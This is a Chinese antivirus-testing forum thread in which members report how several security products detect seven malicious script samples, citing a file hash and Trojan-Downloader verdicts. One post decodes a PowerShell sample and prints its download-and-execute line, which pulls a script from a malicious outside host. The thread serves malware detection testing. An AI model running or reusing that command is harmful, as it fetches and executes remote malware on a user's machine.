脚本 x7

显示全部楼层 · 发表于 2022-4-5 20:39:20

本帖最后由 anthonyqian 于 2022-4-5 20:42 编辑

来自MB

扫描没杀的可以双击试试看

BD：扫描2个+双击5个

显示全部楼层 · 发表于 2022-4-5 20:43:35

本帖最后由 kuroandsan 于 2022-4-5 20:49 编辑

fs扫描miss all

双击拦截vb脚本，另外咖啡还刷了波存在感

@anthonyqian

显示全部楼层 · 发表于 2022-4-5 20:45:44

余76d27743ac0128c2ff41ceb3af89d24c62581cc94228821ed15a4dbec5a6bac6

显示全部楼层 · 发表于 2022-4-5 20:47:20

kuroandsan 发表于 2022-4-5 20:43
等会双击

估计会触发DG一堆CMDStager PowerShellStager....的拦截，倒是好奇红伞能杀么

显示全部楼层 · 发表于 2022-4-5 20:47:39

本帖最后由 anxiety520 于 2022-4-5 20:49 编辑

kes miss ×1 76d27743ac0128c2ff41ceb3af89d24c62581cc94228821ed15a4dbec5a6bac6.ps1
opentip报:Trojan.Win32.PowerShell.d Trojan-Downloader.Win32.PsDownload.sb

显示全部楼层 · 发表于 2022-4-5 20:50:21

kuroandsan 发表于 2022-4-5 20:43
fs扫描miss all

咖啡拦截了外联。。。是虚拟机里的F-S侧漏了么。。。

显示全部楼层 · 发表于 2022-4-5 20:50:51

本帖最后由 kuroandsan 于 2022-4-5 20:57 编辑

anthonyqian 发表于 2022-4-5 20:50
咖啡拦截了外联。。。是虚拟机里的F-S侧漏了么。。。

是，除了vb脚本其他的似乎都没拦截，害怕

虚拟机外联也是从主机走流量的

显示全部楼层 · 发表于 2022-4-5 20:58:21

本帖最后由 LSPD 于 2022-4-5 21:01 编辑

360 监控 kill 2x
双击其余均被阻止
补充：其中2个过360云

显示全部楼层 · 发表于 2022-4-5 21:00:34

本帖最后由 windows11BigSur 于 2022-4-5 21:02 编辑

卡巴漏的那个脚本
76d27743ac0128c2ff41ceb3af89d24c62581cc94228821ed15a4dbec5a6bac6.ps1
base64加密的部分是:

IEX (New-Object Net.Webclient).downloadstring("http://loginlines.top/index.php")

复制代码

hxxp://loginlines.top/index.php卡巴是拦截的，双击就能杀

显示全部楼层 · 发表于 2022-4-5 21:01:02

kuroandsan 发表于 2022-4-5 20:50
是，除了vb脚本其他的似乎都没拦截，害怕

虚拟机外联也是从主机走流量的

hta是DG的弱点吗

看起来DG也救不了对脚本束手无策的红伞

[病毒样本] 脚本 x7